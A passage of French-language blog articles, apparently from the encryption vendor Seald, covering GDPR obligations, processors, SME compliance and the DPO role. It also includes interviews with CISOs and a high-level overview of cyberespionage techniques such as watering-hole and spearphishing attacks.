Le RGPD ratisse large et ne vise aucun type ou taille de société particulière pour son champ d’application. Celui-ci est défini uniquement par les activités exercées par la société considérée. Cela signifie notamment que les PME peuvent être soumises au RGPD. Plus précisément, toutes les sociétés qui sont amenées à traiter des données personnelles doivent respecter le RGPD. Il est donc très probable que vous soyez concerné, dès lors que votre entreprise récupère ne serait-ce que le numéro de téléphone ou le nom de vos clients.

Bien entendu, toutes les entreprises ne sont pas soumises aux mêmes obligations ou pour le dire autrement leur « exposition » au RGPD n’est pas la même en fonction notamment de la nature, du volume et du traitement des données qu’elles collectent.

Par exemple, les agences immobilières entrent dans le champ du RGPD et ont été visées particulièrement par la CNIL dans ses activités de contrôle du respect du RGPD.

RGPD pour les nuls : quelles sont mes obligations ?

Notre deuxième phase de guide du RGPD pour les nuls concerne les obligations concrètes qui pèsent sur vous. Que devez-vous mettre en place et que risquez-vous en cas de non-conformité ?

Quelles obligations, concrètement ?

Le RGPD dresse une liste d’obligations pour les sociétés qui traitent des données personnelles de leurs utilisateurs ou clients. Nous vous résumons très brièvement chacun des points essentiels.

• Licéité du traitement : le traitement et la collecte de la donnée doivent être effectués uniquement dans une liste de cas défini par le RGPD. Par exemple, la collecte doit être faite uniquement avec le consentement de la personne concernée par la donnée.
  
• Finalité du traitement : la donnée doit être collectée pour répondre à un objectif précis et non pas « au cas où » ou en tant que fin en soi. L’utilisation réelle de la donnée doit correspondre à cet objectif.
  
• Minimisation des données : l’entreprise ne doit collecter et utiliser que les types de données utiles à l’objectif initial (et non des données superflues).
  
• Protection particulière des données sensibles : les données dites sensibles (par exemple, médicales, financières, etc) doivent faire l’objet d’une protection accrue, via un chiffrement des données par exemple.
  
• Limitation de la durée de conservation des données : les données doivent être supprimées lorsqu’elles ne sont plus utiles. La durée de conservation de la donnée dépend de la nature des données. Par exemple, la CNIL recommande de supprimer les coordonnées d’un prospect, en l’absence d’échange, au bout de 3 ans.
  
• Obligation de sécurité : quelle que soit la nature de la donnée concernée, des principes de sécurité doivent être appliqués (chiffrement, limites des accès à la donnée…)
  
• Transparence : les personnes dont les données sont collectées doivent être informées et consentir à la collecte, mais aussi aux finalités et à l’utilisation qui seront faites de la donnée.
  
• Droit des personnes : les droits des personnes dont les données sont collectées sont protégés par le RGPD : droit à l’oubli, droit de s’opposer au traitement, droit d’accès à la donnée…

Tous ces principes peuvent faire peur, mais des solutions simples existent pour faciliter une gestion conforme au RGPD des données. De plus, dans certains cas, il est obligatoire de nommer un Délégué à la Protection des Données (DPO) chargé du RGPD qui peut être un employé au sein de l’entreprise ou une personne extérieure.

RGPD : qu’est-ce que je risque ?

Le RGPD prévoit un certain nombre de sanctions en cas de non-respect du RGPD ou d’une violation ponctuelle constatée. Celles-ci peuvent être très importantes puisque, selon les cas, elles peuvent atteindre jusqu’à 4 % du chiffre d’affaires global de la société ou jusqu’à 20 millions d’euros, le chiffre le plus important étant retenu.

Il est donc essentiel de bien s’assurer de respecter le RGPD. Il s’agit d’une part de se mettre en conformité, mais également de s’assurer que les pratiques de la société restent conformes au RGPD sur la durée.

Enfin, des solutions innovantes et simple d’utilisation comme Seald existent pour assurer la conformité de vos opérations avec le RGPD et protéger vos données.

Better Seald than sorry.

Demandez une démo de Seald !

Concrètement, quels sont les sous-traitant concernés par le RGPD ? Qu’implique cette notion et comment être en conformité avec le RGPD ? Quelles sont les sanctions encourues par le sous-traitant ?
Cette situation peut être délicate et il est donc nécessaire de faire le point sur la notion de sous-traitant.

Qu’est-ce qu’un sous-traitant au sens du RGPD ?

On l’a vu, la définition du sous-traitant par le RGPD est très particulière et très éloignée du sens économique du terme. En réalité, de nombreuses entreprises sont considérées comme sous-traitantes au sens du RGPD. Il n’est pas nécessaire que votre société ait pour but de traiter les données mais seulement que le service rendu à vos clients implique l’utilisation de la donnée.

Concrètement, ce peut être le cas d’une agence de communication ou de marketing qui va utiliser les données collectées par ses clients pour produire des analyses en fonction de ces statistiques. C’est aussi le cas des agences immobilières visées par le RGPD lorsqu’elles collectent des informations de leurs clients. L’échange d’information est très fréquent entre les agences et peut leur donner le statut de sous-traitant au sens du règlement.

Vous le voyez, de très nombreux types d’entreprise peuvent être concernés par le statut de sous-traitant au sens du RGPD. Il suffit que vous ayez, à un moment ou à un autre d’un service rendu à une autre société, accès à la donnée collectée par cette société dans le cadre de votre service.
Enfin, il est à noter que cette notion de sous-traitant ne vise aucun type ou taille de société en particulier. Comme pour le RGPD en général, les PME et TPE sont donc potentiellement concernées.

RGPD et sous-traitance : mode d’emploi

Le RGPD impose un certain nombre d’obligations nouvelles pour les sous-traitants. Si vous avez besoin d’une piqûre de rappel plus générale sur le RGPD, vous pouvez consulter notre article sur le RGPD pour les nuls. Voici les principales obligations pour les sous-traitants :

• Transparence et traçabilité : cette notion implique que le contrat de sous-traitance établi avec votre client indique précisément quelles sont les obligations de chaque partie concernant la gestion des données, et notamment les instructions données par le client sur le traitement des données. D’autre part, vous devez tenir un registre recensant vos clients et le traitement des données que vous avez effectué. Enfin, vous devez tenir à disposition de votre client toutes les informations démontrant que vous traitez les données dans le respect du RGPD ;

• Protection des données par défaut : votre fonctionnement doit potentiellement être modifié pour offrir par défaut à votre client les garanties nécessaires au respect de la sécurité de la donnée. Cela concerne notamment la « minimisation des données » (ne collecter que les données strictement nécessaires à votre activité). Ces protections doivent être offertes par défaut ;

• Garantir la sécurité : De même qu’une entreprise classique, vous devez prendre les mesures nécessaires à la protection des données traitées. Par exemple, il s’agit de supprimer toutes les données collectées une fois leur utilisation terminée. Vous pouvez nommer un DPO chargé du RGPD pour vous aider dans ces étapes techniques (et dans certains cas, sa désignation est obligatoire) ;

• Obligation d’alerte et de conseil : D’une part, vous devez notifier votre client de toute violation au RGPD qu’une de ses instructions pourrait constituer. Surtout, vous devez conseiller et aider votre client dans la mesure du possible pour qu’il respecte également les droits de ses utilisateurs en matière de sécurité de la donnée.

Pour plus de détails sur ces obligations, vous pouvez consulter le guide de la CNIL sur la sous-traitance.

Sous-traitants : quelles sanctions ?

En cas de violation de la sécurité de la donnée et donc du RGPD, le sous-traitant peut être tenu responsable. Très concrètement, une série de cas est défini dans lesquels la responsabilité du sous-traitant peut être retenu. C’est le cas naturellement si vous ne respectez pas les règles de sécurité des échanges. De même, si vous ne remplissez pas vos obligations d’aide ou de tenue de registre mentionnées plus haut. Enfin, par exemple, si vous faites appel à un sous-traitant dans le cadre de votre activité, celui-ci doit présenter les mêmes garanties car il sera, tout comme vous, soumis au même règlement.

Dans le cas d’une violation, vous risquez donc d’être tenu responsable. Ainsi, vous pouvez être condamné à réparer intégralement le préjudice de toute personne ayant subi un dommage en raison de la violation.
Surtout, vous pouvez faire l’objet de sanctions administratives par la CNIL. Dans le cas d’infractions graves, celles-ci peuvent s’élever jusqu'à 4% de votre chiffre d’affaires annuel mondial ou jusqu’à 10 à 20 millions d’euros selon le type d’infraction. Le montant le plus élevé est retenu pour calculer l’amende administrative.

Bien gérer le RGPD et la conformité de votre entreprise est donc essentiel et peut vous éviter des sanctions importantes ! Mettre en place les bonnes solutions est non seulement obligatoire mais aussi crucial pour votre entreprise.

Better Seald than sorry.

Demandez une démo de Seald !

Le RGPD vise un très grand nombre d’entreprises et d’activités et c’est pourquoi il est essentiel de bien comprendre de quoi il s’agit exactement pour assurer votre conformité au RGPD. Qu’est-ce que le RGPD ? Sur quelles activités porte-t-il ? Qui est concerné ? Quelles sont les obligations définies et comment les respecter ? Que risquez-vous en cas de non-conformité ? Tour d’horizon du RGPD et de ses conséquences.

RGPD : de quoi parle-t-on ?

La première étape pour bien comprendre le RGPD est de mieux saisir de quoi il s’agit. Qu’est-ce que ce règlement, quel est son rôle, qui concerne-t-il ?

Quel est le rôle du Règlement Général sur la Protection des Données ?

Le Règlement Général sur la Protection des Données ou RGPD est un règlement européen, qui s’applique donc directement à toutes les sociétés dont le siège social est situé dans l’Union Européenne ou qui agissent dans l’UE. Il traite, on l’a dit, de la protection des données que les entreprises ou administrations peuvent collecter sur leurs clients et utilisateurs, pour assurer leurs droits.

Pour avoir un aperçu des points essentiels du RGPD en 3 minutes, vous pouvez consulter notre article express sur le RGPD pour les nuls.

Qu’est-ce que le traitement des données ?

Le RGPD s’appuie sur plusieurs notions pour définir ce qu’est l’activité de traitement de la donnée. Sans entrer dans les détails juridiques du règlement, il faut comprendre les points suivants.

• la donnée personnelle est une information où une personne est identifiée ou identifiable. Cela est en réalité très large puisqu’il peut s’agir d’un nom, d’un numéro de client, d’un pseudo, ou encore d’une série d’informations physiques ou psychiques qui permettent d’identifier une personne ;
• le traitement de la donnée est une opération qui consiste, en clair, à faire quelque chose avec cette donnée. Le RGPD donne une liste d’opérations qui entrent dans le champ du traitement, depuis la simple collecte de l’information jusqu’à son classement, tri à des fins statistiques, ou encore sa communication à des tiers ;
• le responsable du traitement est celui qui décide des moyens et fins du traitement de la donnée. Il peut agir avec l’aide d’un sous-traitant, lui aussi soumis au RGPD.

Qui est concerné ?

Comme vous le savez, le RGPD concerne un très grand nombre d’entreprises, européennes ou non. Il faut comprendre que le RGPD ne limite son champ d’application à aucun critère sur l’entreprise elle-même. Ainsi, les TPE ou PME doivent respecter le RGPD, par exemple. Il n’y a pas non plus de critère de nature de structure (les administrations sont concernées, par exemple) ni de type d’entreprise.

Le critère retenu est celui de l’activité de l’entreprise. Concrètement, dès qu’une société ou une entité collecte et traite de la donnée personnelle, elle est concernée par le RGPD. Rassurez-vous, toutes les entreprises n’ont pas le même niveau « d’exposition » au RGPD ni les mêmes obligations. Celles-ci dépendent du volume de données traitées et de leur niveau de sensibilité.

RGPD : comment se mettre en conformité ?

Le RGPD impose un certain nombre d’obligations aux sociétés pour protéger les droits des citoyens de l’Union. Concrètement, quelles sont les obligations et les moyens à mettre en place ? Quelles sanctions sont prévues ?

Quelles obligations ?

La conformité au RGPD impose de respecter plusieurs points centraux définis par le RGPD.

Sans tous les énumérer, ces points peuvent être rassemblés en grands domaines d’attention.

• Droits des personnes :
  Le RGPD implique de respecter le droit des personnes. Cela signifie notamment de respecter les principes de licéité de la donnée, de la finalité, mais aussi les droits à l’oubli, à l’accès à la donnée, etc. Concrètement, cela signifie que la collecte de la donnée doit toujours être consentie et transparente ; que l’utilisation réelle de la donnée doit correspondre à ce qui est annoncée ; que des processus sont mis en place pour permettre à l’utilisateur de demander à accéder à ses données, à les modifier, ou à les supprimer.
• Sécurité :
  La sécurité de la donnée est évidemment au cœur du RGPD. Il convient de mettre en place des systèmes de protection de la donnée, par exemple un chiffrement des fichiers pour éviter les fuites de données, ou encore une anonymisation de la donnée.
• Modération :
  On retrouve ici le principe de finalité de la donnée qui veut que l’utilisation de la donnée soit conforme à ce qui est annoncé. Également, la notion de minimisation de la donnée est ici présente : il ne faut collecter que ce qui est utile à la réalisation du traitement souhaité et éviter de recueillir un grand nombre de données « au cas où ». Enfin, les moyens techniques mis en œuvre doivent aussi être proportionnels au but recherché et, par exemple, ne pas mettre en place une collecte trop vaste ou trop poussée.

Quelles sanctions ?

Les sanctions en cas de violation du RGPD varient en fonction de la nature de la violation, de la bonne foi ou non de la société concernée, et du volume et du type de donnée concernée. En réalité, la CNIL, gendarme du RGPD, dispose d’une certaine marge de manœuvre pour établir une politique qui a plus pour but d’accompagner les entreprises et de les pousser à se mettre en conformité que de rechercher la sanction a posteriori.

Cependant, le risque de sanction est important, et la CNIL a par exemple visé spécifiquement les agences immobilières pour leur conformité au RGPD.

De manière générale, il faut retenir que les sanctions peuvent aller pour les cas les plus graves jusqu’à 4 % du chiffre d’affaires global de la société, ou jusqu’à 20 millions d’euros, le chiffre le plus élevé étant retenu.

Comment faire ?

La conformité au RGPD se construit et peut faire l’objet d’une politique interne de long terme. Il peut être obligatoire ou conseillé de nommer un Délégué à la Protection des Données. Salarié ou prestataire, le DPO être chargé du RGPD. C’est lui qui conduit l’audit RGPD, fixe les objectifs, sensibilise les équipes…

Les efforts techniques à conduire dépendent de la société, du volume et de l’utilisation des données recueillies… Chaque cas sera donc unique. Cependant, il existe des solutions techniques, comme celles proposées par Seald, qui permettent de faciliter la sécurisation de la donnée, notamment à travers le chiffrement des données ou encore la gestion des accès aux données.

Better Seald than sorry.

Demandez une démo de Seald !

Concrètement, comment savoir si votre PME est concernée par le RGPD ? Quelles sont les premières étapes de la mise en conformité ? Comment assurer la pérennité de la protection des données traitées une fois ces premiers chantiers passés ?

La question de la mise en conformité avec le RGPD est à la fois source de stress pour les dirigeants de PME et un terrain d’opportunités. En effet, le RGPD assure une meilleure protection des données de vos utilisateurs, mais aussi de votre entreprise en général. Cela vous protège des attaques, fuites ou autres situations critiques et vous donne un avantage comparatif, notamment par rapport aux sociétés non-européennes, en raison du niveau de sécurité offert à vos utilisateurs.

Je suis dirigeant d’une TPE/PME : suis-je concerné par le RGPD ?

À la question êtes-vous concerné ou non et de quelle ampleur est votre « exposition » au RGPD, cela va dépendre uniquement de la nature de votre activité.

Très concrètement, le RGPD distingue deux types d’activités pouvant entrer sous son contrôle :

• d’une part, les sociétés qui collectent et traitent un grand nombre de données directement. C’est le cas des agences immobilières très contrôlées par la CNIL qui recueillent un certain nombre d’informations personnels sur leurs clients. C’est également le cas des entreprises e-commerce, qui recueillent sur internet un grand nombre de données sur leurs clients, notamment à des fins marketing. Ensuite, c’est le degré de sensibilité et le volume de données traitées qui va déterminer quel est le niveau de risque juridique vis-à-vis de la CNIL et du RGPD ;
• d’autre part, les sociétés qui traitent, stockent ou utilisent de la donnée pour le compte d’une autre entreprise. Attention, cette notion est plus large qu’il n’y paraît. Il n’est pas nécessaire que le traitement de la donnée soit votre métier, mais plutôt que le service que vous rendez à la société cliente implique que vous utilisiez à un moment la donnée des utilisateurs. Dans ce cas, vous êtes considéré comme sous-traitant visé par le RGPD.

Si vous faites partie de ces cas de figure, reste à déterminer concrètement comment assurer la conformité de votre PME.

Mettre ma PME en conformité avec le RGPD : planifier et agir !

Le RGPD implique un certain nombre de changements dans la gestion de la donnée pour les PME. La démarche de mise en conformité peut être plus ou moins difficile et complexe selon le degré de sensibilité de la donnée traitée et son volume. Il est conseillé de se reporter à la fiche conçue par la CNIL pour les PME.

La première étape consiste à réaliser un état des lieux de votre activité et des processus de traitement des données qui existent dans votre société. Comment collectez-vous la donnée ? Où est-elle stockée ? Comment sécurisez-vous les informations ? Combien de temps conservez-vous les données ? Répondre à ces questions vous permettra de dresser la liste des éléments à modifier et des processus à mettre en place.

Le traitement de la donnée n’est pas votre métier ? Nous avons rédigé un récapitulatif en 3 minutes sur le RGPD pour les nuls pour vous aider.

Une fois cet état des lieux établi, vous pourrez engager un plan d’action pour transformer les pratiques qui doivent l’être dans votre entreprise. Il existe de nombreuses solutions pour sécuriser la donnée et plus généralement pour assurer votre conformité. À vous de décider quelles sont les meilleures pratiques pour limiter au maximum votre risque et pour remplir vos objectifs métier.

Il peut être nécessaire, voire obligatoire, de nommer un DPO en charge du RGPD dans votre entreprise. Ce n’est pas toujours le cas et cela dépend encore une fois du volume d’informations traitées et de leur sensibilité. Le DPO pourra vous aider à mettre en place les chantiers nécessaires.

La nouvelle vie de ma PME avec le RGPD

Votre PME est conforme au RGPD, et après ? Le RGPD pose un cadre que les PME doivent respecter dans la durée. La conformité avec le RGPD implique non seulement des changements au moment de son application, mais également une vigilance de long-terme. C’est notamment le cas dans le domaine de la sécurité de la donnée : assurer des procédures de chiffrement de donnée, par exemple, permet de gérer l’accès à la donnée, de sécuriser l’information, et d’assurer sa conservation dans le respect du RGPD sur le long-terme. De plus, les risques techniques évoluent au rythme des nouvelles stratégies mises au point par les cybercriminels, entre autres. Mettre en place une veille technique et juridique est donc indispensable.

Enfin, sachez que le RGPD impose un modèle d’accountability. Cela signifie que, si les procédures de déclaration à la CNIL ont été modifiées et largement allégées, vous devez être en mesure de donner à tout moment la preuve que les démarches de mise en conformité ont été lancées ou sont en place. Cela signifie aussi que ces chantiers ne sont pas totalement terminés. La CNIL est aussi là pour vous accompagner dans l’application du RGPD.

Better Seald than sorry.

Demandez une démo de Seald !

Le DPO est la personne RGPD de la structure. Sa mission fondamentale est de s’assurer de la conformité de l’entreprise au RGPD. Il est à la fois chargé de mettre en place les chantiers et process adéquats pour assurer la sécurité des données traitées par l’entreprise, mais aussi d’être le contact privilégié de la CNIL dans les éventuels échanges entre le gendarme du RGPD et l’entreprise.

Quelles sont les entreprises concernées par l’obligation de nommer un DPO ? Êtes-vous tenu d’embaucher une personne au poste de DPO ? Quelles sont les missions concrètes du DPO ? Quelles obligations encadrent le statut du DPO ?

Qui est concerné par l’obligation de nommer un DPO selon le RGPD ?

L’article 37 du RGPD précise les cas dans lesquels la nomination d’un DPO est obligatoire. Outre les administrations qui, si elles traitent des données personnelles, doivent nommer un DPO, les entreprises sont concernées dans deux cas de figure, en fonction de leur activité :

• Tout d’abord, les activités comprenant des opérations de traitement qui impliquent un suivi régulier et systématique “à grande échelle” des personnes concernées ;
• Ensuite, les activités qui impliquent un traitement “à grande échelle” de données dites sensibles. Les données sensibles concernent par exemple des données financières, judiciaires ou de santé, des informations ethniques ou sexuelles sur les personnes concernées.

Dans les deux cas, la notion de traitement “à grande échelle” est importante, bien qu’aucun seuil minimal ne soit pas précisé dans le RGPD. Concrètement, cela signifie que les grands groupes sont concernés, mais aussi des PME visées par le RGPD.

D’un point de vue plus concret, plusieurs activités peuvent impliquer des traitements des données qui exigent la nomination d’un DPO. C’est le cas notamment des sites d’e-commerce qui par nature traitent les données de leurs utilisateurs. On peut également citer les activités de santé ou d’assurances, ou encore les agences immobilières concernées par le RGPD et pour lesquelles la CNIL a renforcé son contrôle.

Autrement dit, de nombreuses entreprises sont concernées par l’obligation de désigner un DPO. Cependant, il est à noter que ce poste n’est pas nécessairement un salarié de l’entreprise. Il peut également être un prestataire externe, dont c’est le métier. La mission de DPO peut également être endossée par un salarié qui cumule cette activité avec une autre fonction, à condition que celle-ci n’induise pas de conflit d’intérêt avec son rôle de garant du RGPD.

Quelles sont les missions du DPO pour la conformité au RGPD ?

On l’a dit, le RGPD désigne le DPO comme son garant au sein de l’entreprise. Autrement dit, il est le chef d’orchestre des mesures nécessaires au maintien de la conformité au RGPD dans l’entreprise.

En pratique, le DPO a plusieurs rôles. Premièrement, il informe et sensibilise les différents métiers, en interne, à la protection des données. Il diffuse des contenus dans la société pour assurer que ses membres sont formés aux bonnes pratiques de sécurité.

Ensuite, en lien avec les différents services de l’entreprise et notamment avec la direction et le RSSI, il met en place des solutions de mise en conformité ou de maintien en conformité avec le RGPD. Cela peut par exemple prendre la forme d’une charte de protection des données, mais correspond également à des mesures très concrètes de protection et de traitement des données. Pour en savoir plus sur les mesures pratiques de mise en conformité, vous pouvez consulter notre article sur le RGPD pour les nuls.

Enfin, il est le contact privilégié de la CNIL qui a un rôle à la fois de gendarme du RGPD, mais aussi d’accompagnateur pour faciliter la mise en conformité des entreprises, selon leurs tailles et leurs ressources.

Pour mener à bien ces missions, le DPO a par conséquent besoin d’une autonomie importante et d’une indépendance par rapport aux objectifs de l’entreprise. Il doit avoir accès aux plus hauts échelons de la direction. Cela est évidemment également vrai si le DPO est externe à l’entreprise. Enfin, il doit avoir connaissance des différents partenaires de l’entreprise, notamment, car la question de la sous-traitance est centrale dans le RGPD.

Ainsi, le DPO a un rôle central dans l’application du RGPD dans les entreprises. Ce n’est pas sa seule fonction. La gestion de la donnée est en effet un élément crucial de l’activité de la société, à la fois relativement contraignante et source d’opportunités. Le DPO tient dans ces transitions un rôle important. Il peut notamment mettre en place des solutions innovantes pour améliorer la gestion des données dans l’entreprise.

Pour aller plus loin, nous avions interviewé Philippe Gabillault sur la question du DPO est-il le nouveau RSSI ?

Better Seald than sorry.

Demandez une démo de Seald !

Comment le poste de RSSI s'est créé au sein de votre entreprise ?

Yohann : Historiquement le poste de RSSI a été créé en 2012 lorsque l'entreprise s'est lancée dans la certification ISO 27001.

Comment gérez-vous les compromis entre sécurité et utilisabilité ?

Yohann : Il faut être pragmatique et expliquer l'origine des actions sécurité souvent vécues comme des contraintes. Par exemple, la mise en place d'un NAC (Network Access Control) et donc l'impossibilité d'utiliser des devices perso sur le réseau Wi-Fi, a été accompagnée de démonstration de compromissions du réseau. Il y a également l'actualité en cybersécurité qui aide souvent à faire comprendre les mesures mises en place.

Comment conduisez-vous la constante évolution des menaces ?

Yohann : L'adaptation et la remise en cause des solutions/organisations qui sont en place. Les nouvelles menaces imposent d'avoir une attention constante sur l'adéquation entre solutions de sécurité, usages et menaces.

Comment sont gérés les situations de crise ?

Yohann : Il est difficile de faire comprendre l'importance des entraînements. C’est pour cela que la plupart des exercices de crises sont sur papier.

Comment assurez-vous que les bonnes pratiques soient respectées par les collaborateurs ?

Yohann : La certification ISO 27001 aide beaucoup dans ce domaine, car le planning d'audit est dense. L'ensemble des activités et sites certifiés doivent être audités sur 3 ans. Nous préparons cela par une campagne d'audit interne identique.

Toutes les activités et tous les sites certifiés sont donc audités a minima 2 fois tous les 3 ans et cela uniquement pour la sécurité du SI. Nous renforçons cela avec une présence locale au plus près des équipes avec des référents sécurité projet.

Avez-vous apporté des outils pour rendre la politique de sécurité interne compréhensible ?

Yohann : Oui, nous utilisons une plate-forme de sensibilisation (TERRANOVA security).

Avez-vous un contrôle des données ? Une traçabilité ?

Yohann : Oui, nous avons accès à la base des collaborateurs, leur date de suivi des sensibilisations et leur note obtenue aux quizz d'évaluation. Pour les personnes qui n'ont pas terminé ou échoué aux sensibilisations, des mails automatiques sont générés chaque semaine.

Quels sont vos projets sécurité pour les années avenirs ?

Yohann: La mise en place d'un SOC (Security Operations Center) ainsi qu’une solution d'IAM (identity and Access Management).

Pour finir, avez-vous un conseil à donner que vous appliquez au quotidien dans votre métier ?

Yohann : Il faut toujours se mettre à la place de l'utilisateur. Si nous devons dire non, il faut l'expliquer et si possible, donner une solution à la problématique rencontrée.

Par souci de confidentialité, nous avons anonymisé ce témoignage.

Stéphane est RSSI depuis 13 ans. Il occupe aujourd'hui ce poste dans une ESN (Entreprise de Services Numériques) d’environ 2400 salariés.

Comment gérez-vous les compromis entre sécurité et utilisabilité ?

Stéphane : À trop vouloir fermer les portes à certaines pratiques, le risque est de voir les employés contourner le système et sortir de notre surveillance. C'est pourquoi il vaut mieux parfois privilégier le contrôle que l'interdiction.

Comment gérez vous la constante évolution des menaces ?

Stéphane : On répond aux menaces par différents biais. D'abord grâce à une cellule CERT (Computer Emergency Response Team) afin de suivre l’activité cyber de l’entreprise. Puis, pour étendre le champ de contrôle et de réactivité, la mise en place d’un SIEM (Security Information and Management) et d’une équipe SOC (Security Operations Center). Enfin, à travers différentes méthodes, nous sensibilisons régulièrement nos employés sur les risques.

Comment sont gérés les situations de crise ?

Stéphane : Les situations de crise sont gérées en suivant un processus en constante évolution. Les retours d'expérience à chaque fois que nous y sommes confrontés nous permettent de nous améliorer et de mieux les gérer. Les crises peuvent venir de partout car les risques sont accrus notamment avec la législation qui change, par exemple avec le RGPD.

Comment assurez-vous que les bonnes pratique soient respectées par les collaborateurs ?

Stéphane : Nous sensibilisons à chaque début de projet, pour éviter les mauvaises surprises et pour démarrer avec de bonnes pratiques. Un travail conjoint avec le DPO est apprécié pour mettre en place cette sensibilisation et permettre l’installation d’alertes lors d’infraction.

Avez-vous apporté des outils pour rendre la politique de sécurité interne compréhensible ?

Stéphane : Pour rendre la politique de sécurité compréhensible de tous, nous misons sur la pédagogie et non sur des outils.

Avez-vous un contrôle des données ? Une traçabilité ?

Stéphane : Nous avons différentes manières de contrôler et de tracer nos données. Nous l'appliquons en priorité aux parties du SI qui contiennent les données les plus sensibles de l'entreprise, donc les plus précieuses.

Quels sont vos projets sécurité pour les années avenirs ?

Stéphane : Nous allons mettre en place un Bastion ainsi qu'un renforcement des alertes SIEM dans les futurs projets. Aussi, un gros chantier nous attend sur les données professionnelles/données personnelles.

Pour finir, avez-vous un conseil à donner que vous appliquez au quotidien dans votre métier ?

Stéphane : Si je devais donner un conseil que j’applique au quotidien dans mon métier, c'est de savoir écouter, être persuasif et être un bon pédagogue.

Demandez une démo de Seald !

Qu’est-ce que le cyberespionnage ?

Contrairement au cybercrime, les modes opératoires du cyberespionnage se définissent par des attaques ciblées dont le but principal est l’extraction d’informations stratégiques.

Cette menace se caractérise par la discrétion dont font preuve les attaquants, mais aussi par le soin apporté à la planification de ces attaques qui s’étendent sur de longues périodes. Elles résultent en général de modes opératoires très sophistiqués et nécessitent la mobilisation de ressources humaines et financières importantes. Les attaquants sont le plus souvent des groupes de hackers professionnels soutenus par un état ou une société.

Quels types d’attaques sont utilisés ?

Les États-Unis ont baptisé ces modes opératoires « Advanced Persistent Threat » (APT).

Advanced - Les opérateurs à l'origine de la menace disposent de tout un éventail de techniques de collecte de renseignements. Celles-ci peuvent inclure des technologies et des techniques d'intrusion informatique, mais également des techniques classiques de collecte de renseignements telles que des méthodes d’ingénierie sociale ou des technologies d'interception téléphonique.

Persistent - Les opérateurs accordent la priorité à une tâche spécifique, plutôt que de rechercher des informations de manière opportuniste pour un gain financier ou autre. Cette distinction implique que les attaquants sont guidés par des entités externes (gouvernements ou groupes privés).

Threat - Les APT constituent une menace, car elles ont à la fois une capacité et une intention. Les attaques APT sont exécutées par des actions humaines coordonnées plutôt que par des morceaux de code automatisés.

On retrouve beaucoup de similarité dans ces attaques tant au niveau des techniques d’infiltration des systèmes que d’exfiltration des données. Selon l’ANSSI, les attaquants privilégient deux types d’infiltration :

Watering Hole (attaque par point d’eau) : cette attaque se fait en plusieurs étapes : l’attaquant commence par observer les habitudes de navigation de sa cible.  Il infecte ensuite un site web légitime visité par la cible grâce à une vulnérabilité identifiée sur le site. Lorsque la cible se connecte sur ce site, son ordinateur est infecté à son tour. L’ingéniosité de cette attaque réside dans le fait que la plupart des pare-feux bloquent les connexions qui viennent de l’extérieur. Grâce à cette méthode, la connexion au réseau vient de l’intérieur et parait donc légitime.

Spearfishing (hameçonnage ciblé) : elle a le même fonctionnement que les fameuses attaques par phishing ; à la différence que celle-ci est ciblée. L’attaque nécessite donc une planification en amont et est souvent épaulée de techniques d’ingénierie sociale pour collecter des informations sur la victime. L’email que reçoit la cible semble provenir d’une source légitime (interne, prestataire, direction) et il s’adresse spécifiquement à elle. C’est pour cette raison que ces attaques sont si efficaces.

Quelles sont les industries concernées ?

Nous serions tentés de vous dire que tous les secteurs sont concernés bien que les industries possédant une propriété intellectuelle à haute valeur ajoutée restent évidemment les plus visées. Dans son rapport de 2018, le « National Counterintelligence and Security Center » (NCSC), l’agence britannique dédiée à la cybersécurité a identifié les secteurs ci-dessous comme les plus sensibles au cyberespionnage :

On retrouve également des faits de cyberespionnage dans des secteurs beaucoup moins stratégiques : le NCSC rapporte, par exemple, l’histoire d’un fabricant de mobilier dont les designs ont été dérobés. Quelque temps plus tard, ses produits étaient vendus en ligne par un fournisseur asiatique. Le rapport cite également des sociétés attaquées pour leur recette de céréale, le design de leur basket ou encore leur recette de soda. Même s’il ne s’agit pas d’industries stratégiques, l’impact engendré par ces attaques reste considérable.

La difficulté à évaluer les impacts

L’écart existant dans les estimations de pertes annuelles dû au cyberespionnage au niveau mondial - de quelques milliards à des centaines milliard de dollars– montre la difficulté qu’ont les autorités à évaluer précisément l’impact de cette menace. Si certaines sociétés sont en mesure d’identifier leurs pertes, d’autres n’ont pas encore repéré les données dérobées, voire découvertes, qu’elles étaient attaquées.

De plus la propriété intellectuelle reste difficile à évaluer financièrement, car une fuite de données ne se limite pas à la perte d’un actif de valeur financière. Les coûts d’opportunités manquées, les dommages causés à la marque ou à la réputation de l’entreprise et les coûts de remédiations doivent aussi être pris en compte. Notons aussi que la propriété intellectuelle d’une entreprise peut parfois prendre plusieurs années à être exploitée et ne représentera donc pas forcément une perte au moment de la fuite. Ci-dessous, une classification de McKinsey des impacts les plus difficiles à quantifier.

C’est pourquoi il est pertinent d’y inclure une sous-catégorie que nous pourrions définir comme les « informations commerciales confidentielles » et dont l’exploitation serait immédiate. Le vol de données sur une exploration pétrolière, de données sensibles sur la négociation d’un contrat ou de données permettant un délit d’initié est exploitable immédiatement et peut causer des dommages importants.

Le chiffrement pour en limiter les impacts

C’est précisément là où Seald intervient. En partant du principe que même les meilleures défenses peuvent être pénétrées, le chiffrement vient se placer comme un ultime rempart pour limiter l’impact de ces attaques en rendant illisibles aux personnes non autorisées les données dérobées.

À noter que l’ANSSI a observé une hausse des attaques par rebond dans les faits de cyberespionnage. Il s’agit d’attaque visant les fournisseurs ou prestataires de la société cible afin de pénétrer dans leur système d’information via des vecteurs moins protégés.

Cela confirme le fait que vous devez être mesure de contrôler vos informations même quand celle-ci circule à l’extérieur de l’entreprise.

Vous souhaitez chiffrer vos données ?

Essayez Seald maintenant !

La conformité de ce règlement concerne plusieurs acteurs au sein même d’une organisation. On retrouve le DPO (Data Protection Officer) qui est le garant de la bonne application du règlement. Celui-ci doit s’accorder avec le RSSI (Responsable de la sécurité du SI) pour permettre la mise en œuvre des mesures à adopter et sécuriser l’entreprise. Nous avons voulu explorer cette coopération entre RSSI et DPO avec Philippe Gabillault, ancien Directeur Juridique Commercial et DPO du Groupe Carrefour ainsi que conseiller en conformité RGPD. Il nous a fait l’honneur de répondre à nos interrogations sur la relation qui unit ces deux acteurs.

Pouvez-vous vous présenter ?

Philippe Gabillault : Ancien directeur juridique, ancien DPO d’un grand groupe international, j’ai mis en place le RGPD dans 6 pays de l’Union Européenne.

Pouvez-vous nous décrire ce qu’est un DPO ?

PG : Le DPO c’est une fonction réglementée d’abord. C’est dans l’organisation le chef d’orchestre, obligatoire dans certains cas. Il doit parler toutes les langues de l’organisation à la fois opérationnelle, à la fois technique mais aussi le langage de l’autorité. Et bien évidemment, il doit dire le droit.

Et que fait le RSSI de son côté ?

